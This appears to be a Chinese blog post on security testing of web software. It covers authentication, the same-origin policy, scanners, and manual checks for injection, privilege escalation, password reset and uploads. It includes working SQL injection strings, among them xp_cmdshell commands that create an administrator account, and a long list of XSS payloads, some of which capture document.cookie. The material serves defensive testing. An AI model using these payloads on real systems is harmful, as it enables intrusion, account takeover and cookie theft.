安全測試的考慮點及測試方法
軟體安全性測試主要包括程序、資料庫安全性測試。根據系統安全指標不同測試策略也不同。
用戶認證安全的測試要考慮問題:
1.明確區分系統中不同用戶許可權
2.系統中會不會出現用戶衝突
3.系統會不會因用戶的許可權的改變造成混亂
4.用戶登陸密碼是否是可見、可複製
5.是否可以通過絕對途徑登陸系統(拷貝用戶登陸後的鏈接直接進入系統)
6.用戶推出系統後是否刪除了所有鑒權標記,是否可以使用後退鍵而不通過輸入口令進入系統
系統網路安全的測試要考慮問題:
1.測試採取的防護措施是否正確裝配好,有關係統的補丁是否打上
2.模擬非授權攻擊,看防護系統是否堅固
3.採用成熟的網路漏洞檢查工具檢查系統相關漏洞(即用最專業的黑客攻擊工具攻擊試一下,現在最常用的是 NBSI系列和 IPhacker IP )
4.採用各種木馬檢查工具檢查系統木馬情況
5.採用各種防外掛工具檢查系統各組程序的客外掛漏洞
資料庫安全考慮問題:
1.系統數據是否機密(比如對銀行系統,這一點就特別重要,一般的網站就沒有太高要求)
2.系統數據的完整性(我剛剛結束的企業實名核查服務系統中就曾存在數據的不完整,對於這個系統的功能實現有了障礙)
3.系統數據可管理性
4.系統數據的獨立性
5.系統數據可備份和恢復能力(數據備份是否完整,可否恢復,恢復是否可以完整)
瀏覽器安全
同源策略:不同源的「document」或腳本,不能讀取或者設置當前的「document」
同源定義:host(域名,或者IP),port(埠號),protocol(協議)三者一致才屬於同源。
要注意的是,同源策略只是一種策略,而非實現。這個策略被用於一些特定的點來保護web的安全。
<script>,<img>,<iframe>,<link>等標籤都可以跨域載入資源,不受同源策略的限制。
XMLHttpRequest,DOM,cookie受到同源策略的限制。
網站可以通過提供crossdomain.xml來允許某些源跨域訪問自己的資源。
google chrome使用了多進程來隔離代碼運行的環境,從而起到提高web安全的作用
Q & A
Q:cookie為什麼需要同源策略?
A:cookie有同源策略是必須的,這樣可以保證A網站的用戶(識別)信息不會被B網站獲取到
Q:XMLHttpRequest為什麼需要同源策略?
A:兩個例子:
(1)加入沒有同源策略,某個網站的某張頁面被你寫入了一些js ,這些js有些ajax操作,如果某個用戶訪問了這張頁面,你的js就可以獲得用戶的某些信息(cookie,本地文件等)然後通過ajax發送回你的伺服器。 這就是安全問題,信息泄漏。
其實這個就是XSS攻擊,為了防止XSS攻擊後,用ajax請求返回用戶敏感信息。但是其實XSS的攻擊僅靠XMLHttpRequest的同源策略根本沒用,後面的章節會看到。這也許是當時XSS還沒那麼豐富的時候,還算比較有效的安全策略。
(2)先假設瀏覽器沒有限制跨域,A站的xhr請求B站的一個url,那麼瀏覽器是要帶上誰家的cookie一起請求呢?(每次http請求都要帶上該站下的所有cookie)顯然是B家的。假設B家的網站當前用戶已經登錄,那麼cookie里自然記錄下了sessionId相關的東西以標識當前用戶的身份,那麼本次xhr請求很easy的通過了身份認證,然後後果就是不堪設想的。
這個就很正確,如果A可以用xhr跨站訪問B,帶著B的cookie自然可以通過B網站的驗證,從而獲取到敏感數據。所以這點是關鍵。
web安全測試方法:
工具掃描
目前web安全掃描器針對 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的檢測技術已經比較成熟。
商業軟體web安全掃描器:有IBM Rational Appscan、WebInspect、Acunetix WVS
免費的掃描器:W3af 、Skipfish 等
根據業務資金,可以考慮購買商業掃描軟體,也可以使用免費的,各有各的好處。
首頁可以對網站進行大規模的掃描操作,工具掃描確認沒有漏洞或者漏洞已經修復後,再進行以下手工檢測。
手工檢測
對於CSRF、越權訪問、文件上傳、修改密碼 等漏洞,難以實現自動化檢測的效果,這是因為這些漏洞涉及系統邏輯或業務邏輯,有時候還需要人機交互參與頁面流程,因此 這類漏洞的檢測更多的需要依靠手動測試完成。
手工檢測網站URL、後台登陸是否具有SQL注入
Admin--
『or --
『 and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
『and 1=1 ; 『And 1=1 ; 『aNd 1=1 ;
and 1=2 ; 『and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知欄位)
;exec master..xp_cmdshell 「net user name password /add」—
;exec master..xp_cmdshell 「net localgroup name administrators /add」—
and 0<>(select count(*) from admin)
XSS:對於get請求的URL一般漏洞掃描軟體都可掃描到是否存在XSS漏洞。(但是軟體沒有完美的,也有誤報,或者有遺漏的情況)
對於POST的請求的(例如留言板,評論,等等),就是要在輸入框輸入的情況,則要進行以下測試
★~!@#$%^&*()_+<>,./?;""[]{}-
★%3Cinput /%3E
★%3Cscript%3Ealert("XSS")%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert("xss")</script>
★<script>alert("xss");</script>
★</script><script>alert(『xss』)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" stylex="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=』><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert("xss")
★"></a><script>alert(『xss』);</script>
★http://xxx";alert("xss");var/ a="a
★』」>xss&<
★"onmouseover=alert("hello");"
★&{alert("hello");}
★>""><script>alert(『XSS")</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>""><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(』Vulnerable』)</script>
★<!--"">&:
var from = 『$!rundata.Parameters.getString(』from』)";
var from = 」;hackerFunction(document.cookie);」;
上面這些同樣適用於GET請求
經過以上測試,如果發現輸入框代碼溢出,則說明可能存在XSS漏洞,說明要進行過濾.
關於越權操作的問題
例如A用戶的個人資料ID為1 B用戶個人資料ID為2,我通過登陸B用戶,把ID修改為1 就可以查看到用戶A的個人資料,這就是越權。
測試方法:通過查看URL的get參數對那些類似明顯的順序數字 進行修改,看是否能越權訪問。
關於登陸安全的問題
除了SQL注入,還有找回密碼功能會出現安全問題
郵箱找回密碼測試方法:
先從郵箱參數修改開始,看填入用戶名和自己修改的郵箱賬號,看是否能收到郵箱,收到後是否能修改。
如果不能修改郵箱參數那麼,我們就讓它郵箱找回,接著點擊郵箱內修改密碼的鏈接,看鏈接的郵箱參數是否可以修改,用戶名是否可以修改,加密的urlcode 是否可以逆向解密。
如果是手機找回密碼功能:則測試手機收到的驗證碼是否是純數字、純字母的,如果是請修改為字母與數字的組合。
關於用開源程序的問題
關注網上你所用的開源程序的官網更新情況和安全事件。
關於上傳:
1.上傳文件是否有格式限制,是否可以上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳並不存在的文件是否會導致異常錯誤;
3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字元,特殊字元等的文件上傳。
下載:
避免輸入:..web.
修改命名後綴。
輸入驗證
客戶端驗證 伺服器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字元,如:~!@#$%^&*()_+<>:」{}|
4.輸入中英文空格,輸入字元串中間含空格,輸入首尾空格
5.輸入特殊字元串NULL,null,0x0d 0x0a
6.輸入正常字元串
7.輸入與要求不同類型的字元,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字
8.輸入html和javascript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加刪除等操作後查看變化
例如:
1.輸入<html」>」gfhd</html>,看是否出錯;
2.輸入<input type=」text」 name=」user」 onclick="alert(1)"/>,看是否出現文本框;
3.輸入<script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
4.輸入」><script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
5.輸入 」><script><」 看是否出現代碼溢出
頁面許可權泄露
測試在不登陸的情況下是否可以訪問到後台的頁面,這個只要把後台的目錄的URL全部瀏覽一遍即可
關於任意文件下載
查看上傳的圖片文件是否可以刪除,如果可以刪除,查看刪除的URL裡面的參數是否可以修改。


※matlab的快捷方式與使用技巧
※做程序員累的時候怎麼辦?
TAG:程序員小新人學習 |